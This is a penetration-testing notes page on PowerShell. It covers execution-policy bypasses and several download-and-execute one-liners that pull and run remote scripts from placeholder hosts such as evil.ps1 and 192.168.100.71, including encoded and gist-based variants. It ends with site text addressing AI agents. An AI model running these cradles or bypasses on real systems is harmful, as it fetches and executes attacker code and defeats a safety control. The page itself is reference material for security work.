# powershell theory

### Loading powershell module via dot sourcing

```powershell
. .\PowerView.ps1 # dot sourcing on current directory
```

### Powershell basic cmdlets and help system

```powershell
Get-Command -CommandType cmdlet # Lists all available cmdlets
Get-Help <cmdlet> # Display usage about a cmdlet
Get-Help <cmdlet> -Examples # Display example usage about a cmdlet
```

#### Note:

It is concluded that, use a single quote only to print the plain text but to print variables and evaluating other expressions in the string, use the double quote in PowerShell.

### Powershell bypass Execution policy

The execution policy is safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. Here are sereral ways of bypassing.

```powershell
powershell -ExecutionPolicy Bypass
powershell -ep bypass
powershell -c <command>
------------------------------------------------------------------------------------------
$string = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.100.71/test.bat")'
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string)) 
powershell -EncodedCommand $encodedCommand
------------------------------------------------------------------------------------------
$env:PSExecutionPolicyPreference="Bypass"
```

### Importing Modules

```powershell
Import-Module <module-path>
```

### LIsting all commands in a module

```powershell
Get-Command -Module <module-name>
```

### Download and execute files using powershell

```powershell
IEX (New-Object Net.Webclient).downloadstring("http://webserver.com/evil.ps1")

IEX (iwr 'http://webserver.com/evil.ps1')

$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r # Uses internet explorer and prompts the user to download or save the file

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://webserver.com/evil.ps1',$false);$h.send();iex $h.responseText

$wr=[System.NET.WebRequest]::Create("http://192.168.100.71:8000/hehe.ps1");$r=$wr.GetResponse();IEX([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Import-Module bitstransfer;Start-BitsTransfer 'http://webserver.com/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

```

### Download and Execute using gist

First create a public gist with anything.txt as follows, enter the desired command inside .

```xml
<?xml version="1.0"?>
<command>
   <a>
      <execute>Get-Process</execute>
   </a>
</command>

```

Then,

{% code overflow="wrap" %}

```powershell
$a = New-Object System.Xml.XmlDocument;$a.Load("https://gist.githubusercontent.com/alexdhital/d2e1627948dd1d997e614f1cfd95a75d/raw/398b4adde13b271757364825a644846865a1089f/hehe.txt");$a.command.a.execute | iex
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/powershell-theory.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.